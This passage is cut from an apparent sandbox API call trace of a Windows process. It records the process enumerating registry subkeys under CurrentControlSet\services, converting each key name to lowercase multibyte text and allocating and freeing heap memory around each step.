RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.782] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.782] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.783] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.783] RegCloseKey (hKey=0xc4) returned 0x0 [0260.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.785] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.785] RegCloseKey (hKey=0x150) returned 0x0 [0260.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 